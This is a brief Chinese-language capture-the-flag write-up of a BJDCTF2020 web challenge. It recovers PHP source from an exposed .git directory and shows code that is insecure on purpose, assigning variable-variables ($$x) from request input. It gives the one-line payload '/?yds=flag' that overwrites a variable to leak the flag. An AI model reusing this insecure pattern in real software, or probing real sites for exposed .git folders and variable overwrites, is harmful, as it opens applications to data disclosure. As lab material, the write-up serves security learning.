buuctf
https://github.com/BjdsecCA/BJDCTF2020

扫描发现有git目录:
[200][application/octet-stream][137.00b] http://03f6c493-a83d-4914-8f9c-063e31d22780.node4.buuoj.cn:81/.git/config
用Git_Extract下载源码,得到flag.php
<?php
$flag = file_get_contents('/flag');
和index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag; 明显要从index.php中入手,我们看第一个if,只要没设置get和post的flag,就会退出,退出时调用yds,会显示相关信息。
同时我们注意到有以下语句:
foreach($_GET as $x => $y){
$$x = $$y;
} 即get请求的时候,传的参数会变成变量的指针,因此可以利用来覆盖变量。因此我们传参数把yds的指针变成flag,即可在exit的时候获得flag:
/?yds=flag flag{64d4e7f1-68b3-4cef-aab1-99727fb13e09}